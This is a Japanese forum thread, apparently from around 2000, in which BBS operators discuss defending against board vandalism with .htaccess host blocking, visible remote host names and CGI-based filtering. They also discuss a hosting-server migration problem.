ここは荒らしは無かったのですが、ロボットの「全落とし攻撃(笑)」にあって
難渋した事があります。biglobeは.htaccessが使えませんのでCGI本体に
アクセス制限機構を加えてあります。

例えば現在のここのアクセス制限設定は、access.cgiと言うファイルにまとめて
secure.cgiから呼び出しています。ここではlycosからのアクセスを排除しているだけですが。
＃ 汎用化してadd-onとして出す、とか言っておきながら、そのままになっています。(^^;;

フォロー記事投稿

記事のキャンセル

えいゆんです。
早速のお返事、ありがとうございます。

1月25日に、にあさんは書きました。

＞＞うぇぶ会議室は、かれこれ２年ほど使わせていただいております。
＞あ、えーと、実は、ずっとROMしてました。(^^ゞ

ほ…　ほえぇぇ ^^;;;
どうもありがとうございます m(__)m


＞＃ rimのY2K対策に伴うサーヴァOS変更に引っかかっているのかな?
＞＃ それとも以前ここでも起こった使用容量の突然の増大で再開が
＞＃ 出来ないでいるのかしら? とチョットはらはらしていました。(^^;

原因はrimのサーバー変更なのですが、それ以前に今までのrimのcgiの
動作に問題があったようで…
another権限でcgiが動いていたので、ファイルも全てanotherで書き出して…
当然ながら、quota -vでは8MBしか見えてなかったデータ量が、実は５０ＭＢ超も
ありまして、原因が分かるまで大変でした… ^^;;;
(FTPでファイル転送しても、全く受け付けてくれなくて…)
さらに原因は不明なのですが、うぇぶ掲示板の何らかのcgiが、coreを吐いていたようで
それだけで１０ＭＢ以上もあったようです。
さらにさらに、新しいサーバーではうぇぶ会議室がうまく動作せず、結局はあきらめて
違うプロパイダにすべて移転しました… ^^;;


＞＃＃ でも、折角BBS再開しても、BSはこの3月で終わりみたいですね。(T_T)

未確認情報では、第３部があるという話は聞いてます。
＃自分の掲示板に書くと、いろいろうるさく言われちゃうので ^^;;;


＞＞さて、最近ですが私の運営している掲示板に掲示板荒らしが
＞＞現れまして、その対策に迫られています。
＞荒らしと一口に言っても色々な物がありますが、どんな行為のことを想定していますか?

基本的には、
・多重投稿　・不正投稿　・嫌がらせ投稿　・なりすまし　等です

その昔（まだ、うぇぶ会議室を試験的に運用して、表ではminiBBSを使ってた頃）に
海外proxy経由での悪意を持った「多重投稿」「掲示板への嫌がらせ的発言」等
受けたことがありまして、それ以来は海外からのアクセスに対しては規制してます。
規制といっても.htaccessを用いたhostの規制なのですが。

それ以来、本格的な荒らしはほとんど受けていないのですが、最近ですが
アニメ・マンガ系掲示板が荒らされているという報告をよく耳にするように
なりまして、また、あまり知識の無い人がproxyを経由せずに攻撃したりする
幼稚な例も聞かれるようになりました。
この知識の無い人による攻撃が、今後は厄介になるのでは？と睨んでんます。


＞単に接続したremote host名を表示して、情報が公開されていると言うことを示して
＞抑止力にするとか、成りすまし投稿を見破りやすくしたい、と言うことで良いでしょうか?

はい、そうです。さっそく挑戦してみます。
＃でも今日は仕事が遅かったため、週末までには入れてみようかと ^^;


＞最近更新した、不正/多重投稿防止パッチは当てている様ですね。
＞これは、他掲示板への投稿ボタン張り付けとかオートポストスクリプト等の攻撃に
＞対処する物ですので、通常の投稿動作をしながら嫌がらせをするような事例には無力ですね。

そう言う輩に対しては、remote host名をまる見えにしてしまい、抑止力とする以外に
方法が無いのですよね ;_;
ただし、hostがバレてしまうとproxy経由で無い限りは、簡単に身元がバレてしまうので
こちらから応戦(??)するのには、非常に役立ちます ^^;


＞相手が特定のサイトから来るのであれば、.htaccess ファイルで排除できますが、
＞大手ISPを利用しての投稿だったりすると、同じISPを使っている人たちを道連れに
＞する事もできず対処に困るでしょうね。(^^;

大手プロパイダなら、「プロパイダに文句を言って…」と脅してやれば
簡単に逃げて行ってしまうようです… ^^;
私の場合.htaccessの有効な使い方は「身元のはっきりしたhostしか繋げないようにする」
といった事でしょうか。(host名を引けないようにして、攻撃しようとした形跡があった事も…)


＞ここは荒らしは無かったのですが、ロボットの「全落とし攻撃(笑)」にあっ＞難渋した事があります。biglobeは.htaccessが使えませんのでCGI本体に
＞アクセス制限機構を加えてあります。

それも良い手ですね。.htaccessでは自由度が低いので、cgiで組みたいなと
考えていた事もあったので…
ちょっと検討してみます。

ではまた。

フォロー記事投稿

記事のキャンセル

1月26日に、えいゆんさんは書きました。

＞＞あ、えーと、実は、ずっとROMしてました。(^^ゞ
＞ほ…　ほえぇぇ ^^;;;

あはは、すっかりはまってしまって、ヴィデオはDVに買い替えるわ、DVDは買うわ、
編集用のパソコンはそろえるわ、と言う状態で... (^^;;

＃ 実はそちらのBBSもうぇぶ会議室になる以前から覗かせていただいてましたので、
＃ うぇぶ会議室に換わった時には、「やった!」と思う反面、rec系で従来型から
＃ 移行した所が軒並み「難しい」と評判悪かったり、流行らなかったりしたのを
＃ 見ていたので、相当ビクビクしていました。(^^;;

＞another権限でcgiが動いていたので、ファイルも全てanotherで書き出して…
＞当然ながら、quota -vでは8MBしか見えてなかったデータ量が、実は５０ＭＢ超も
＞ありまして、原因が分かるまで大変でした… ^^;;;

ええ、その辺の事情も、以前rimのかたから質問があって知っていたので、今回のサーヴァ変更に
伴って、あちこちで悲鳴が上がっているのだろうな、と... (^^;;

＞未確認情報では、第３部があるという話は聞いてます。

おお、それは良いことを伺いました。(^^)/
公式ペーヂに情報が上がるのを楽しみに待ってみます。

＞＞これは、他掲示板への投稿ボタン張り付けとかオートポストスクリプト等の攻撃に
＞＞対処する物ですので、通常の投稿動作をしながら嫌がらせをするような事例には無力ですね。
＞
＞そう言う輩に対しては、remote host名をまる見えにしてしまい、抑止力とする以外に
＞方法が無いのですよね ;_;

そうですね。完全に防ごうとしたら、.htaccess等でユーザ名認証をかけて、ユーザ登録を
した人だけが書き込めるようにするしかないとは思いますが、それをしてしまうと、
初めて来た人にはしきいが高くなりますし、管理の手間も増えますね。

＞＞ここは荒らしは無かったのですが、ロボットの「全落とし攻撃(笑)」にあっ＞難渋した事があります。biglobeは.htaccessが使えませんのでCGI本体に
＞＞アクセス制限機構を加えてあります。
＞
＞それも良い手ですね。.htaccessでは自由度が低いので、cgiで組みたいなと
＞考えていた事もあったので…

ここでは単に、接続元のIPアドレス(REMOTE_ADDR)、接続に使った道具(HTTP_USER_AGENT)、
リンク元(HTTP_REFERER)で選択しているだけですけど、

・入力されたメールアドレスがオンラインで検証可能かどうか?(vrfyコマンド)
・接続元が公開プロクシかどうか?
・入力された題名や本文中に、制限対象となる言葉が含まれているかどうか?

等で排除機構を働かせている所もあるようです。

この辺の機構がadd-onで導入できるようになっていると、プログラムを書かない人でも
導入出来て良いのでしょうけどねぇ(^^;

あと、荒らし対策とは違いますが、記事本体にPICSを設定出来るようにして、積極的に
レーティング情報を流すことで読者の記事選択の幅を広げる事も考えていたのですが、
PICS自体があまり評判が芳しくなく流行ってもいないので、今の所ペンディング状態ですね。

フォロー記事投稿

記事のキャンセル

いしどう っす。

1月26日に、えいゆんさんは書きました。

＞原因はrimのサーバー変更なのですが、それ以前に今までのrimのcgiの
＞動作に問題があったようで…

[略]

＞さらにさらに、新しいサーバーではうぇぶ会議室がうまく動作せず、結局はあきらめて
＞違うプロパイダにすべて移転しました… ^^;;

えっと、内輪掲示板なんでURLは明かせませんが、うぇぶ会議室、わたしのは動いて
ますよ。T3 ドメインです。

＃ そういえば、サーバー移行後動作確認してなかったんでさっき確かめたんです（汗）
＃ なにせ、閑古鳥状態で、移行後書き込みがなかったもんで…

以上100記事（キャンセル分を含む）

ホームペーヂに戻る